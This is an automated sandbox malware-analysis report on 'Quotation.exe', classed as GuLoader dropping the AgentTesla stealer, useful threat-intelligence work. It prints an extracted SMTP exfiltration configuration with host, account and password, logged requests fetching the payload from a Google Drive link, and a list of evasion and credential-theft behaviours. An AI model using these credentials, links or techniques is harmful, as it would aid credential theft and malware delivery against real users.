Edit tour

Windows Analysis Report
Quotation.exe

Overview

General Information

Sample name:	Quotation.exe
Analysis ID:	1545944
MD5:	5607e8b6d0197e51ec19233e72bc2036
SHA1:	91cf6d8f6eeb59e44741d16c4a1ba38cffe59435
SHA256:	2013e4b243a72b09add6488f84ad97b47ce0587cdecc1114f4380c82650e069c
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected AgentTesla

Yara detected GuLoader

AI detected suspicious sample

Initial sample is a PE file and has a suspicious name

Installs a global keyboard hook

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evaded block containing many API calls

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Quotation.exe (PID: 6964 cmdline: "C:\Users\user\Desktop\Quotation.exe" MD5: 5607E8B6D0197E51EC19233E72BC2036)

Quotation.exe (PID: 1212 cmdline: "C:\Users\user\Desktop\Quotation.exe" MD5: 5607E8B6D0197E51EC19233E72BC2036)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2623639299.0000000036261000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1962376405.00000000059AE000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Quotation.exe PID: 1212	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Quotation.exe PID: 1212	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DesusertionIp: 67.23.226.139, DesusertionIsIpv6: false, DesusertionPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Quotation.exe, Initiated: true, ProcessId: 1212, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49976

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T10:45:20.670689+0100	2803270	2	Potentially Bad Traffic	192.168.2.9	49973	142.250.185.238	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: Quotation.exe.6964.0.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.showpiece.trillennium.biz", "Username": "build@showpiece.trillennium.biz", "Password": "3KJ[T.3]fsSW"}

Multi AV Scanner detection for submitted file

Source: Quotation.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Quotation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.9:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49975 version: TLS 1.2

Source: Quotation.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004066F7 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,		0_2_004066F7
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_004065AD FindFirstFileW,FindClose,		0_2_004065AD

Source: global traffic

TCP traffic: 192.168.2.9:49976 -> 67.23.226.139:587

Source: Joe Sandbox View	IP Address: 67.23.226.139 67.23.226.139
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152
Source: Joe Sandbox View	IP Address: 172.67.74.152 172.67.74.152

Source: Joe Sandbox View

ASN Name: DIMENOCUS DIMENOCUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49973 -> 142.250.185.238:443

Source: global traffic

TCP traffic: 192.168.2.9:49976 -> 67.23.226.139:587

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.showpiece.trillennium.biz

Source: Quotation.exe, 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.showpiece.trillennium.biz
Source: Quotation.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error...
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005D08000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Quotation.exe, 00000005.00000002.2623639299.000000003628B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://showpiece.trillennium.biz
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Quotation.exe, 00000005.00000002.2624894201.0000000038B5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencrT
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036293000.00000004.00000800.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624894201.0000000038B5E000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2624796342.0000000038ACE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: Quotation.exe, 00000005.00000002.2623639299.0000000036211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/t
Source: Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2623121936.0000000035460000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C55000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxfQf
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/(
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/5
Source: Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000002.2601745635.0000000005C18000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085733304.0000000005CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1Of5kNy0BP9ETJWGaeMWfLrbVk-DyWIxf&export=download
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C71000.00000004.00000020.00020000.00000000.sdmp, Quotation.exe, 00000005.00000003.2085619981.0000000005C86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443

Source: unknown	HTTPS traffic detected: 142.250.185.238:443 -> 192.168.2.9:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.16.129:443 -> 192.168.2.9:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.9:49975 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\Desktop\Quotation.exe

Windows user hook set: 0 keyboard low level C:\Users\user\Desktop\Quotation.exe

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Quotation.exe

Source: C:\Users\user\Desktop\Quotation.exe

Code function: 0_2_004036DA EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,LdrInitializeThunk,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe	Code function: 0_2_70022351	0_2_70022351
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000DE289	5_2_000DE289
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000DA500	5_2_000DA500
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000DA960	5_2_000DA960
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D4A98	5_2_000D4A98
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000DDCA8	5_2_000DDCA8
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D3E80	5_2_000D3E80
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000D41C8	5_2_000D41C8
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B3108	5_2_392B3108
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392BC220	5_2_392BC220
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B7E20	5_2_392B7E20
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B5648	5_2_392B5648
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392BB2BA	5_2_392BB2BA
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B6698	5_2_392B6698
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B5D83	5_2_392B5D83
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392BE440	5_2_392BE440
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B0040	5_2_392B0040
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B2338	5_2_392B2338
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B7740	5_2_392B7740
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_3979894C	5_2_3979894C
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_39791988	5_2_39791988
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_39791982	5_2_39791982
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_398F4B48	5_2_398F4B48
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_398F0448	5_2_398F0448
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_000DB3B4	5_2_000DB3B4
Source: C:\Users\user\Desktop\Quotation.exe	Code function: 5_2_392B0012	5_2_392B0012

Source: Quotation.exe

Static PE information: invalid certificate

Source: Quotation.exe, 00000005.00000002.2623532623.00000000360F9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Quotation.exe
Source: Quotation.exe, 00000005.00000002.2601745635.0000000005C55000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Quotation.exe

Source: Quotation.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/12@4/4

Source: C:\Users\user\Desktop\Quotation.exe

0_2_004036DA

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\overlays

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Quotation.exe

File created: C:\Users\user\AppData\Local\Temp\nsg548E.tmp

Jump to behavior

Source: Quotation.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\Quotation.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Quotation.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Quotation.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\Quotation.exe

File read: C:\Users\user\Desktop\Quotation.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"
Source: C:\Users\user\Desktop\Quotation.exe	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"
Source: C:\Users\user\Desktop\Quotation.exe	Process created: C:\Users\user\Desktop\Quotation.exe "C:\Users\user\Desktop\Quotation.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Quotation.exe	Section loaded: edputil.dll	Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

File written: C:\Users\user\Music\antithetic.ini

Jump to behavior

Source: C:\Users\user\Desktop\Quotation.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Quotation.exe

